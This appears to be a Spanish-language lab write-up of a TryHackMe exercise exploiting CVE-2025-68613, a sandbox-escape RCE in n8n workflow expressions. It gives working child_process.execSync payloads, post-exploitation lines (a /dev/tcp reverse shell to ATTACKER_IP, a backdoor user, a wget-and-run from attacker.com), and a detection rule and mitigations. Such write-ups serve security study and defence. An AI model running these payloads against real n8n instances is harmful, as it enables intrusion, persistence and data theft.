
Este repositorio documenta una explotación práctica de CVE-2025-68613 (CVSS 9.9), una vulnerabilidad crítica de ejecución remota de código que afecta a la plataforma de automatización de flujos de trabajo n8n (versiones 0.211.0 hasta 1.120.3).
Esta explotación se realizó éticamente en un entorno de laboratorio controlado de TryHackMe únicamente con fines educativos.
| Campo | Valor |
|---|---|
| ID CVE | CVE-2025-68613 |
| Puntuación CVSS | 9.9 (Crítica) |
| Publicada | 19 de diciembre de 2025 |
| Producto afectado | Plataforma de automatización de flujos de trabajo n8n |
| Tipo de vulnerabilidad | Inyección de expresiones → Escape de sandbox → RCE |
| Vector de ataque | Usuario autenticado (por defecto) |
| Versiones parcheadas | 1.120.4, 1.121.1, 1.122.0+ |
| Versiones afectadas | 0.211.0 - 1.120.3 |
n8n es una plataforma de automatización de flujos de trabajo de código abierto que permite a los usuarios conectar visualmente aplicaciones y servicios para la automatización de tareas. Incluye:
{{ }} evaluadas como JavaScriptLa vulnerabilidad reside en el sistema de evaluación de expresiones de flujo de trabajo de n8n. Cuando los usuarios autenticados configuran flujos de trabajo, su entrada se procesa como código JavaScript sin un sandbox adecuado.
Expression Sandbox
↓ (escape via 'this')
Node.js Global Context
↓ (access mainModule)
Module System (require)
↓ (load child_process)
System Command Execution
{{ }} se evalúan como JavaScript crudo sin un aislamiento de contexto adecuadothis permite escapar de las restricciones previstas del sandboxprocess.mainModule.require() proporciona acceso al sistema de módulos de Node.jschild_process para la ejecución de comandos del sistema(function(){
return this.process.mainModule.require('child_process').execSync('COMMAND').toString()
})()
Explicación:
this → Objeto global de Node.jsthis.process → Objeto de proceso de Node.jsprocess.mainModule → Módulo raíz de la aplicación n8n.require('child_process') → Carga el módulo de ejecución de comandos del sistema.execSync('COMMAND') → Ejecuta el comando de shell de forma síncrona.toString() → Convierte la salida del Buffer en una cadena legibleAcceda a la instancia vulnerable de n8n e inicie sesión con credenciales válidas.
Credenciales del laboratorio:
[email protected]Try12345!
Después de iniciar sesión, se le presenta la interfaz de creación de flujos de trabajo. Haga clic en "Start from scratch" para comenzar un nuevo flujo de trabajo.

Haga clic en "Add first step" y busque "Manual Trigger". Este nodo sirve como punto de entrada para la ejecución del flujo de trabajo.

Propósito: El nodo Manual Trigger permite la ejecución manual del flujo de trabajo mediante el botón "Execute workflow" de la interfaz, lo que lo hace ideal para pruebas.
Añada un nodo "Edit Fields" para realizar el mapeo de campos. Aquí es donde se explota la vulnerabilidad.

Pasos de configuración:
Inyecte el payload para ejecutar el comando id y obtener información del usuario/privilegios.
Payload:
(function(){ return this.process.mainModule.require('child_process').execSync('id').toString() })()
Resultado:
uid=1000(node) gid=1000(node) groups=1000(node)

Información obtenida:
Modifique el payload para ejecutar el comando ls y listar el contenido del directorio.
Payload:
(function(){ return this.process.mainModule.require('child_process').execSync('ls -la').toString() })()

La salida muestra:
flag.txtLea el archivo flag usando el comando cat para completar la explotación.
Payload:
(function(){ return this.process.mainModule.require('child_process').execSync('cat flag.txt').toString() })()
Flag obtenido:
THM{n8n_exposed_workflow}

Establezca acceso de shell interactivo para un control persistente:
(function(){
return this.process.mainModule.require('child_process').execSync('bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1').toString()
})()
Añada un nuevo usuario del sistema para acceso persistente:
(function(){
return this.process.mainModule.require('child_process').execSync('useradd -m -p $(openssl passwd -1 PASSWORD) backdoor').toString()
})()
Obtenga y ejecute código remoto:
(function(){
return this.process.mainModule.require('child_process').execSync('wget http://attacker.com/malware.sh -O /tmp/malware.sh && bash /tmp/malware.sh').toString()
})()
Compruebe los privilegios sudo:
(function(){
return this.process.mainModule.require('child_process').execSync('sudo -l').toString()
})()
Extraiga las variables de entorno:
(function(){
return this.process.mainModule.require('child_process').execSync('env').toString()
})()
Configure su proxy para registrar los cuerpos de las peticiones con fines de análisis:
http {
log_format detailed '$remote_addr - $remote_user [$time_local] '
'"$request" $status $body_bytes_sent '
'"$http_referer" "$http_user_agent" '
'Request-Body: "$request_body" '
'Duration: $request_time s';
access_log /var/log/nginx/detailed_access.log detailed;
}
Detecte intentos de explotación mediante peticiones a la API de flujos de trabajo:
title: CVE-2025-68613 - n8n Expression Injection RCE
logsource:
category: web_application_firewall
detection:
keywords:
- "process.mainModule.require"
- "child_process"
- "execSync"
condition: keywords
filter:
field: uri_path
value: "/rest/workflows"
method: POST
Supervise los procesos hijo sospechosos generados por n8n:
/root/.n8n/logs//var/log/auth.log, /var/log/syslogprocess.mainModulerequire('child_process')execSync o spawnActualice n8n a las versiones parcheadas:
Restrinja el acceso a la red
Autenticación sólida
Monitorización y registro
Validación y saneamiento de entradas
Implementación de sandbox
Principio de mínimo privilegio
Revisión de código y pruebas de seguridad
Esta documentación se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas. Las técnicas de explotación descritas están pensadas para:
El acceso no autorizado a sistemas informáticos es ilegal. Obtenga siempre la autorización escrita adecuada antes de realizar pruebas de seguridad.
.
├── README.md # This file
├── exploitation-details.md # Technical deep-dive guide
├── screenshots/
│ ├── 01-login.png
│ ├── 02-Welcome.png
│ ├── 03-Manual_Trigger.png
│ ├── 04-Workflow-setup.png
│ ├── 05-rce_id.png
│ ├── 06-Change_id_ls.png
│ └── rce_cat_flag.png
└── notes/
└── exploitation-details.md
Este writeup documenta la explotación exitosa de CVE-2025-68613 en un entorno de laboratorio de TryHackMe. La vulnerabilidad demuestra la importancia crítica de la evaluación segura de código y los peligros de una implementación inadecuada de sandbox en las plataformas de automatización.
Comprender esta vulnerabilidad ayuda tanto a los equipos de seguridad ofensiva a identificar problemas similares como a los equipos de defensa a desarrollar estrategias de detección más eficaces.
| Paso | Acción | Tiempo |
|---|
| 1 | Acceder a la instancia de n8n | Segundos |
| 2 | Crear/modificar el flujo de trabajo | < 1 minuto |
| 3 | Añadir el nodo de mapeo de campos | < 1 minuto |
| 4 | Inyectar y ejecutar el comando id | < 30 segundos |
| 5 | Enumerar el sistema de archivos con ls | < 1 minuto |
| 6 | Extraer datos con cat | < 30 segundos |
| Total | Explotación RCE completa | < 5 minutos |